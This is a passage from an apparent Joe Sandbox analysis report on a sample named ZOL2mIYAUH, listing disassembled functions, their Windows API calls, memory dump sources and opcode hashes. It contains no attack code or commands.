                                                                                                                        • lstrlen.KERNEL32(?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,0046AB30,?,0046F090), ref: 00469DFB
                                                                                                                        • lstrcpyn.KERNEL32(?,?,00000104,?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,0046AB30,?), ref: 00469E2F
                                                                                                                        • lstrlen.KERNEL32(?,?,?,00000104,?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,0046AB30), ref: 00469E3B
                                                                                                                        • lstrcpyn.KERNEL32(?,?,?,?,?,?,00000104,?,00000000,?,?,?,?,00000001,?,?), ref: 00469E5D
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: lstrcpyn$Findlstrlen$CloseFileFirst
                                                                                                                        • String ID: GetLongPathNameA$\$kernel32.dll
                                                                                                                        • API String ID: 426534248-1565342463
                                                                                                                        • Opcode ID: 4b586d89636468dc37fb0024812a6a01b4e8be0698c8209d5ab5f2cd570848ce
                                                                                                                        • Instruction ID: cf33c3353de95e119cb7b4eb1f501c30ebeca2f5cbfb26ecbf1ebd0d08293945
                                                                                                                        • Opcode Fuzzy Hash: 4b586d89636468dc37fb0024812a6a01b4e8be0698c8209d5ab5f2cd570848ce
                                                                                                                        • Instruction Fuzzy Hash: 5741A572E04218ABDB11DEA9CC85ADFB7ECEF54304F1440B7A548D7341FAB89E418B5A
                                                                                                                        Function 0035596C Relevance: 1.1, Instructions: 1094COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E8000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 2894caf416c354217d41298f36b12b9239cb1852e63e12f47828f935ba4044a8
                                                                                                                        • Instruction ID: aa9530baa0d9d7fdb5272a059c16bff517f8ca265fde97930fdd66f900989c3e
                                                                                                                        • Opcode Fuzzy Hash: 2894caf416c354217d41298f36b12b9239cb1852e63e12f47828f935ba4044a8
                                                                                                                        • Instruction Fuzzy Hash: DF81ADA114D3D02FEB57433888676D63FB18E0335AB5A14DBC9C08FAB3D219582BD796
                                                                                                                        Function 045EAA2A Relevance: .3, Instructions: 305COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 4e12c563ef6fc91917059e07a8dd62945cb3a4aef5cd34b1bc68e0bce0e75491
                                                                                                                        • Instruction ID: 7ea955a72a142eba5f0571318b11e826e9caf0f16e0699ec8975689636d1c003
                                                                                                                        • Opcode Fuzzy Hash: 4e12c563ef6fc91917059e07a8dd62945cb3a4aef5cd34b1bc68e0bce0e75491
                                                                                                                        • Instruction Fuzzy Hash: FEB1AB71E042698BDB18CFA9C9806EEFBF1FF84314B14866AD455EB245E330ED46DB90
                                                                                                                        Function 045E63C8 Relevance: .2, Instructions: 233COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 648583a58ee5272bdc103f6c40271f204d945de0cca0a5aff627d90218a3ab40
                                                                                                                        • Instruction ID: 52a2e7d7702766e767d7d1575aedfc546c5298488548112ab642bb847a550da4
                                                                                                                        • Opcode Fuzzy Hash: 648583a58ee5272bdc103f6c40271f204d945de0cca0a5aff627d90218a3ab40
                                                                                                                        • Instruction Fuzzy Hash: F071F272B14160CFC718CE6EE4D06F6BBA1FBA1294F958967D095CB245F234E883E781
                                                                                                                        Function 045E54A8 Relevance: .2, Instructions: 184COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 4b6e43e2f442b24bc4e3b01ea6d869949fba1735e54ed59eeedc550fbc4801d9
                                                                                                                        • Instruction ID: ad08c5ef38818fe6187be01b54b446d8fbc9cd79a1e838ef8759984e7864452e
                                                                                                                        • Opcode Fuzzy Hash: 4b6e43e2f442b24bc4e3b01ea6d869949fba1735e54ed59eeedc550fbc4801d9
                                                                                                                        • Instruction Fuzzy Hash: A7718B30B14319DFE318CF9AD485B76B7E2FB80359F148926E01A8B664F374E881EB51
                                                                                                                        Function 045E5499 Relevance: .2, Instructions: 181COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f8dbe992617dcc23edf0eff6dcf2712dc446e11b017fd4a8a3b850ed4760627d
                                                                                                                        • Instruction ID: e2d119732928125c5572faab6fbef557684c55dc2a7c2fcad0c62e276a9ad65e
                                                                                                                        • Opcode Fuzzy Hash: f8dbe992617dcc23edf0eff6dcf2712dc446e11b017fd4a8a3b850ed4760627d
                                                                                                                        • Instruction Fuzzy Hash: AE619D30B04319DFE718CBAAD545B76B7E2FB80349F048826E05ACB660F274E881EB41
                                                                                                                        Function 045E6982 Relevance: .2, Instructions: 169COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 70e9014d3373fbace94c5cddbc123543bcbfff56d6aefd6d92db792d3fcc6347
                                                                                                                        • Instruction ID: d57dd4fa608602bd0e914bc2560a3145fccbaedd2b172ec9f459bb668575aa20
                                                                                                                        • Opcode Fuzzy Hash: 70e9014d3373fbace94c5cddbc123543bcbfff56d6aefd6d92db792d3fcc6347
                                                                                                                        • Instruction Fuzzy Hash: 3E51FE31F08115CFDB08CE6AC44577AB7B7FBA5380F908822D105DB356EB38AC81AB85
                                                                                                                        Function 045E6990 Relevance: .2, Instructions: 168COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 5df5429e57ee1823ff6b3fc637f3be3c6224659e55dfb260c448ab5ec1e53ee5
                                                                                                                        • Instruction ID: 2af375a46439e153b853eec288323961160ce650ef077391de5e7b06aa1784ec
                                                                                                                        • Opcode Fuzzy Hash: 5df5429e57ee1823ff6b3fc637f3be3c6224659e55dfb260c448ab5ec1e53ee5
                                                                                                                        • Instruction Fuzzy Hash: 5051DC31B18015CFDB08CE5BC44577AB7B7BBA5380F908822D505DB356EA38AC81AB96
                                                                                                                        Function 00201456 Relevance: .2, Instructions: 156COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E8000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 52d13399b00fb1cdcdb87fff7a29d6ba300b0dd7005c8cbc3b7dec33e2cebcbc
                                                                                                                        • Instruction ID: 2a2cf8ba0db8f34889a982c1f4d21c1037a9cf2f1702239f2e826e24d9fa21a1
                                                                                                                        • Opcode Fuzzy Hash: 52d13399b00fb1cdcdb87fff7a29d6ba300b0dd7005c8cbc3b7dec33e2cebcbc
                                                                                                                        • Instruction Fuzzy Hash: 6151453064D3D19FD3474B78A92A5657FB0EF4B60175A08EBD882CF1F3E2645822DB29
                                                                                                                        Function 045E7E61 Relevance: .2, Instructions: 154COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 09c6547b502a08e0b4c71cd0b7eb0a230050df45a7edafcb822c3cf254e433a0
                                                                                                                        • Instruction ID: 415bb7a243f1ce52b3d3784c5857e357ffd2fd9b79d84a83bddf6265ae551c0e
                                                                                                                        • Opcode Fuzzy Hash: 09c6547b502a08e0b4c71cd0b7eb0a230050df45a7edafcb822c3cf254e433a0
                                                                                                                        • Instruction Fuzzy Hash: 95612770E112488FD708DF7BEA5169ABFF3BFC8240B24C969D0059B264EF3158169F62
                                                                                                                        Function 045E7E70 Relevance: .1, Instructions: 149COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f4ca4e51a1728a9916bb0e45729d1d4a9c212c514128564bbd3e78f4ca3cdbee
                                                                                                                        • Instruction ID: a3bd08463d82700999e95fd383cc2afdbc5401c9cef11bc9ff52cda63c54400c
                                                                                                                        • Opcode Fuzzy Hash: f4ca4e51a1728a9916bb0e45729d1d4a9c212c514128564bbd3e78f4ca3cdbee
                                                                                                                        • Instruction Fuzzy Hash: 7C512670E116088FD708DF7BEA5169ABFF3BFC8240B14C969D0059B264EF3168169F62
                                                                                                                        Function 045E6408 Relevance: .1, Instructions: 131COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 7a26035635b1cbf5a3564331fccdfc374e8690d03f15e57e99d8475d728b6d40
                                                                                                                        • Instruction ID: f47969e025f02d5fa7349a4daf092e5e5c06777c7c1962c3ebd3338626640c53
                                                                                                                        • Opcode Fuzzy Hash: 7a26035635b1cbf5a3564331fccdfc374e8690d03f15e57e99d8475d728b6d40
                                                                                                                        • Instruction Fuzzy Hash: C641D471B08115CBDB18CE9AD4807BABBA2BBB0380FD58927D455DB285E234ED46F781
                                                                                                                        Function 001F8321 Relevance: .1, Instructions: 125COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E8000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: fe5e03c5a2e7c3b651cd384a4a431d963788a37222da5eeaaed76eea28442609
                                                                                                                        • Instruction ID: 9736fdf66d6320c67cd8de15f338ff7d47df190c41af938fd7a0ef3559ee777a
                                                                                                                        • Opcode Fuzzy Hash: fe5e03c5a2e7c3b651cd384a4a431d963788a37222da5eeaaed76eea28442609
                                                                                                                        • Instruction Fuzzy Hash: 8F41CB6148E3E29FC3678B7448B6085BFB29D2725470B44EFC4C5CF5B3E19A499AC722
                                                                                                                        Function 001F0738 Relevance: .1, Instructions: 116COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E8000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f45f31506152bd71ae5bc437196a4e0ef5f82888f864897caf926c821590eac8
                                                                                                                        • Instruction ID: 9e2b28716fc0d9e2c652c48ae2434510da698a47601b647917fc661bf010f679
                                                                                                                        • Opcode Fuzzy Hash: f45f31506152bd71ae5bc437196a4e0ef5f82888f864897caf926c821590eac8
                                                                                                                        • Instruction Fuzzy Hash: 4041723054D2858FD7969B7C99261267FF0EF4F20135609FBC846CF5B3E2241A12EB6A
                                                                                                                        Function 00469500 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON
                                                                                                                        Download Yara Rule
                                                                                                                        APIs
                                                                                                                        • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,004695CE,?,?,?,00000002,0046966E,00468593,004685DB,00000002,00000000), ref: 00469539
                                                                                                                        • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,004695CE,?,?,?,00000002,0046966E,00468593,004685DB,00000002), ref: 0046953F
                                                                                                                        • GetStdHandle.KERNEL32(000000F5,00469588,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,004695CE), ref: 00469554
                                                                                                                        • WriteFile.KERNEL32(00000000,000000F5,00469588,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,004695CE), ref: 0046955A
                                                                                                                        • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00469578
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: FileHandleWrite$Message
                                                                                                                        • String ID: Error$Runtime error at 00000000
                                                                                                                        • API String ID: 1570097196-2970929446
                                                                                                                        • Opcode ID: 742c8c52fb847d6e8122d2e0fb997b0c7b808de10eec64cd78265567fdd65cc9
                                                                                                                        • Instruction ID: ae59b96c66c11cfa3b666308a2f37ce702d7e99a7d3294b69b775d9928e1a304
                                                                                                                        • Opcode Fuzzy Hash: 742c8c52fb847d6e8122d2e0fb997b0c7b808de10eec64cd78265567fdd65cc9
